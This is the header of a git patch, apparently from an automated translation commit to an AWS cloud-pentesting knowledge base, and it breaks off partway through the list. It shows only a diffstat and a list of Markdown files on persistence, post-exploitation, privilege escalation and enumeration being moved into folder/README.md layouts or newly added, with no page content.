From e27a41b80f67b4abe97545c16939931bd3b4a426 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 14 Oct 2025 02:24:03 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- .../aws-api-gateway-persistence.md | 32 - .../aws-api-gateway-persistence/README.md | 32 + .../aws-cloudformation-persistence.md | 23 - .../aws-cloudformation-persistence/README.md | 23 + .../aws-cognito-persistence.md | 40 -- .../aws-cognito-persistence/README.md | 40 ++ .../aws-dynamodb-persistence.md | 59 -- .../aws-dynamodb-persistence/README.md | 59 ++ .../aws-persistence/aws-ec2-persistence.md | 54 -- .../aws-ec2-persistence/README.md | 62 ++ .../README.md | 75 +++ .../aws-persistence/aws-ecr-persistence.md | 91 --- .../aws-ecr-persistence/README.md | 145 +++++ .../aws-persistence/aws-ecs-persistence.md | 93 --- .../aws-ecs-persistence/README.md | 152 +++++ .../aws-persistence/aws-efs-persistence.md | 21 - .../aws-efs-persistence/README.md | 21 + .../README.md} | 28 +- .../aws-persistence/aws-iam-persistence.md | 47 -- .../aws-iam-persistence/README.md | 47 ++ .../aws-persistence/aws-kms-persistence.md | 37 -- .../aws-kms-persistence/README.md | 37 ++ .../aws-lightsail-persistence.md | 33 -- .../aws-lightsail-persistence/README.md | 33 ++ .../aws-persistence/aws-rds-persistence.md | 27 - .../aws-rds-persistence/README.md | 27 + .../aws-persistence/aws-s3-persistence.md | 25 - .../aws-s3-persistence/README.md | 25 + .../aws-sagemaker-persistence.md | 158 ----- .../aws-sagemaker-persistence/README.md | 230 ++++++++ .../aws-secrets-manager-persistence.md | 51 -- .../aws-secrets-manager-persistence/README.md | 234 ++++++++ .../aws-persistence/aws-sns-persistence.md | 77 --- .../aws-sns-persistence/README.md | 113 ++++ .../aws-persistence/aws-sqs-persistence.md | 37 -- .../aws-sqs-persistence/README.md | 47 ++ .../aws-sqs-dlq-backdoor-persistence.md | 71 +++ .../aws-sqs-orgid-policy-backdoor.md | 38 ++ .../aws-persistence/aws-ssm-persistence.md | 27 - .../aws-ssm-persistence/README.md | 27 + .../aws-step-functions-persistence.md | 21 - .../aws-step-functions-persistence/README.md | 21 + .../README.md} | 30 +- .../aws-api-gateway-post-exploitation.md | 132 ----- .../README.md | 132 +++++ .../aws-cloudfront-post-exploitation.md | 31 - .../README.md | 31 + .../README.md} | 8 +- .../aws-dlm-post-exploitation.md | 91 --- .../aws-dlm-post-exploitation/README.md | 91 +++ .../README.md} | 124 ++-- .../README.md | 177 ++++-- .../aws-ami-store-s3-exfiltration.md | 137 +++++ .../aws-ebs-multi-attach-data-theft.md | 77 +++ ...-ec2-instance-connect-endpoint-backdoor.md | 113 ++++ .../aws-eip-hijack-impersonation.md | 52 ++ .../aws-eni-secondary-ip-hijack.md | 50 ++ .../aws-managed-prefix-list-backdoor.md | 72 +++ .../aws-vpc-endpoint-egress-bypass.md | 68 +++ ...pc-flow-logs-cross-account-exfiltration.md | 74 +++ .../aws-ecr-post-exploitation.md | 92 --- .../aws-ecr-post-exploitation/README.md | 210 +++++++ .../aws-ecs-post-exploitation.md | 57 -- .../aws-ecs-post-exploitation/README.md | 126 ++++ .../aws-efs-post-exploitation.md | 46 -- .../aws-efs-post-exploitation/README.md | 46 ++ .../aws-eks-post-exploitation.md | 143 ----- .../aws-eks-post-exploitation/README.md | 143 +++++ ...aws-elastic-beanstalk-post-exploitation.md | 70 --- .../README.md | 70 +++ .../aws-iam-post-exploitation.md | 166 ------ .../aws-iam-post-exploitation/README.md | 166 ++++++ .../aws-kms-post-exploitation.md | 182 ------ .../aws-kms-post-exploitation/README.md | 183 ++++++ .../aws-lightsail-post-exploitation.md | 30 - .../aws-lightsail-post-exploitation/README.md | 30 + .../aws-organizations-post-exploitation.md | 17 - .../README.md | 17 + .../README.md} | 133 ++--- .../aws-s3-post-exploitation.md | 38 -- .../aws-s3-post-exploitation/README.md | 38 ++ .../aws-sagemaker-post-exploitation/README.md | 179 ++++++ .../feature-store-poisoning.md | 50 ++ .../aws-secrets-manager-post-exploitation.md | 130 ----- .../README.md | 130 +++++ .../README.md} | 30 +- .../aws-sns-post-exploitation.md | 68 --- .../aws-sns-post-exploitation/README.md | 82 +++ .../aws-sns-data-protection-bypass.md | 92 +++ .../aws-sns-fifo-replay-exfil.md | 100 ++++ .../aws-sns-firehose-exfil.md | 76 +++ .../aws-sqs-dlq-redrive-exfiltration.md | 150 +++++ .../aws-sqs-post-exploitation.md | 73 --- .../aws-sqs-post-exploitation/README.md | 83 +++ .../aws-sqs-dlq-redrive-exfiltration.md | 154 +++++ .../aws-sqs-sns-injection.md | 54 ++ .../README.md} | 10 +- .../aws-stepfunctions-post-exploitation.md | 185 ------ .../README.md | 185 ++++++ .../README.md} | 26 +- .../aws-vpn-post-exploitation.md | 13 - .../aws-vpn-post-exploitation/README.md | 13 + .../README.md} | 38 +- .../README.md} | 18 +- .../aws-chime-privesc.md | 9 - .../aws-chime-privesc/README.md | 9 + .../README.md} | 56 +- .../aws-codepipeline-privesc.md | 37 -- .../aws-codepipeline-privesc/README.md | 37 ++ .../aws-cognito-privesc.md | 274 --------- .../aws-cognito-privesc/README.md | 274 +++++++++ .../aws-datapipeline-privesc.md | 68 --- .../aws-datapipeline-privesc/README.md | 68 +++ .../aws-directory-services-privesc.md | 32 - .../aws-directory-services-privesc/README.md | 32 + .../aws-dynamodb-privesc.md | 72 --- .../aws-dynamodb-privesc/README.md | 72 +++ .../aws-ebs-privesc.md | 27 - .../aws-ebs-privesc/README.md | 27 + .../aws-ec2-privesc.md | 261 --------- .../aws-ec2-privesc/README.md | 300 ++++++++++ .../aws-ecr-privesc.md | 100 ---- .../aws-ecr-privesc/README.md | 268 +++++++++ .../aws-ecs-privesc.md | 327 ----------- .../aws-ecs-privesc/README.md | 550 ++++++++++++++++++ .../aws-efs-privesc.md | 86 --- .../aws-efs-privesc/README.md | 86 +++ .../README.md} | 32 +- .../aws-emr-privesc.md | 62 -- .../aws-emr-privesc/README.md | 62 ++ .../aws-privilege-escalation/aws-gamelift.md | 16 - .../aws-gamelift/README.md | 16 + .../README.md} | 24 +- .../aws-iam-privesc.md | 231 -------- .../aws-iam-privesc/README.md | 235 ++++++++ .../README.md} | 32 +- .../README.md} | 113 ++-- .../aws-lightsail-privesc.md | 136 ----- .../aws-lightsail-privesc/README.md | 136 +++++ .../aws-macie-privesc.md | 38 -- .../aws-macie-privesc/README.md | 38 ++ .../README.md} | 10 +- .../aws-mq-privesc.md | 43 -- .../aws-mq-privesc/README.md | 43 ++ .../aws-msk-privesc.md | 22 - .../aws-msk-privesc/README.md | 22 + .../aws-organizations-prinvesc.md | 18 - .../aws-organizations-prinvesc/README.md | 18 + .../aws-rds-privesc.md | 151 ----- .../aws-rds-privesc/README.md | 151 +++++ .../aws-redshift-privesc.md | 95 --- .../aws-redshift-privesc/README.md | 95 +++ .../aws-s3-privesc.md | 186 ------ .../aws-s3-privesc/README.md | 182 ++++++ .../aws-sagemaker-privesc.md | 106 ---- .../aws-sagemaker-privesc/README.md | 260 +++++++++ .../aws-secrets-manager-privesc.md | 48 -- .../aws-secrets-manager-privesc/README.md | 48 ++ .../aws-sns-privesc.md | 37 -- .../aws-sns-privesc/README.md | 80 +++ .../aws-sqs-privesc.md | 40 -- .../aws-sqs-privesc/README.md | 40 ++ .../aws-ssm-privesc.md | 130 ----- .../aws-ssm-privesc/README.md | 130 +++++ .../README.md} | 42 +- .../aws-stepfunctions-privesc.md | 231 -------- .../aws-stepfunctions-privesc/README.md | 231 ++++++++ .../aws-sts-privesc.md | 136 ----- .../aws-sts-privesc/README.md | 136 +++++ .../README.md} | 22 +- .../README.md} | 12 +- ...acm-pca-issuecertificate-acm-pca-getcer.md | 32 - .../README.md | 32 + .../README.md} | 12 +- .../aws-services/aws-sagemaker-enum/README.md | 200 +++++++ .../aws-accounts-unauthenticated-enum.md | 43 -- .../README.md | 43 ++ .../aws-api-gateway-unauthenticated-enum.md | 52 -- .../README.md | 65 +++ .../aws-cloudfront-unauthenticated-enum.md | 9 - .../README.md | 9 + .../aws-codebuild-unauthenticated-access.md | 33 -- .../README.md | 33 ++ .../aws-cognito-unauthenticated-enum.md | 44 -- .../README.md | 44 ++ .../aws-documentdb-enum.md | 9 - .../aws-documentdb-enum/README.md | 9 + .../aws-dynamodb-unauthenticated-access.md | 15 - .../README.md | 15 + .../aws-ec2-unauthenticated-enum.md | 54 -- .../aws-ec2-unauthenticated-enum/README.md | 54 ++ .../aws-ecr-unauthenticated-enum.md | 30 - .../aws-ecr-unauthenticated-enum/README.md | 30 + .../aws-ecs-unauthenticated-enum.md | 23 - .../aws-ecs-unauthenticated-enum/README.md | 23 + ...-elastic-beanstalk-unauthenticated-enum.md | 35 -- .../README.md | 35 ++ .../README.md} | 6 +- .../aws-iam-and-sts-unauthenticated-enum.md | 162 ------ .../README.md | 162 ++++++ ...ity-center-and-sso-unauthenticated-enum.md | 123 ---- .../README.md | 123 ++++ .../README.md} | 6 +- .../aws-kinesis-video-unauthenticated-enum.md | 9 - .../README.md | 9 + .../aws-lambda-unauthenticated-access.md | 20 - .../README.md | 20 + .../README.md} | 8 +- .../aws-mq-unauthenticated-enum.md | 20 - .../aws-mq-unauthenticated-enum/README.md | 20 + .../aws-msk-unauthenticated-enum.md | 16 - .../aws-msk-unauthenticated-enum/README.md | 16 + .../README.md} | 16 +- .../aws-redshift-unauthenticated-enum.md | 9 - .../README.md | 9 + .../aws-s3-unauthenticated-enum.md | 194 ------ .../aws-s3-unauthenticated-enum/README.md | 194 ++++++ .../README.md | 108 ++++ .../aws-sns-unauthenticated-enum.md | 21 - .../aws-sns-unauthenticated-enum/README.md | 55 ++ .../aws-sqs-unauthenticated-enum.md | 21 - .../aws-sqs-unauthenticated-enum/README.md | 21 + 222 files changed, 10353 insertions(+), 6978 deletions(-) delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence/README.md rename src/pentesting-cloud/aws-security/aws-persistence/{aws-elastic-beanstalk-persistence.md => aws-elastic-beanstalk-persistence/README.md} (52%) delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md rename src/pentesting-cloud/aws-security/aws-persistence/{aws-sts-persistence.md => aws-sts-persistence/README.md} (68%) delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-control-tower-post-exploitation.md => aws-control-tower-post-exploitation/README.md} (52%) delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-dynamodb-post-exploitation.md => aws-dynamodb-post-exploitation/README.md} (60%) create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ami-store-s3-exfiltration.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-multi-attach-data-theft.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-rds-post-exploitation.md => aws-rds-post-exploitation/README.md} (72%) delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-ses-post-exploitation.md => aws-ses-post-exploitation/README.md} (61%) delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-sso-and-identitystore-post-exploitation.md => aws-sso-and-identitystore-post-exploitation/README.md} (75%) delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md rename src/pentesting-cloud/aws-security/aws-post-exploitation/{aws-sts-post-exploitation.md => aws-sts-post-exploitation/README.md} (62%) delete mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md create mode 100644 src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-apigateway-privesc.md => aws-apigateway-privesc/README.md} (54%) rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-apprunner-privesc.md => aws-apprunner-privesc/README.md} (57%) delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-codebuild-privesc.md => aws-codebuild-privesc/README.md} (71%) delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-elastic-beanstalk-privesc.md => aws-elastic-beanstalk-privesc/README.md} (65%) delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-glue-privesc.md => aws-glue-privesc/README.md} (54%) delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-kms-privesc.md => aws-kms-privesc/README.md} (51%) rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-lambda-privesc.md => aws-lambda-privesc/README.md} (51%) delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-mediapackage-privesc.md => aws-mediapackage-privesc/README.md} (50%) delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-sso-and-identitystore-privesc.md => aws-sso-and-identitystore-privesc/README.md} (55%) delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{aws-workdocs-privesc.md => aws-workdocs-privesc/README.md} (54%) rename src/pentesting-cloud/aws-security/aws-privilege-escalation/{eventbridgescheduler-privesc.md => eventbridgescheduler-privesc/README.md} (61%) delete mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md rename src/pentesting-cloud/aws-security/aws-services/{aws-documentdb-enum.md => aws-documentdb-enum/README.md} (50%) create mode 100644 src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md delete mode 100644 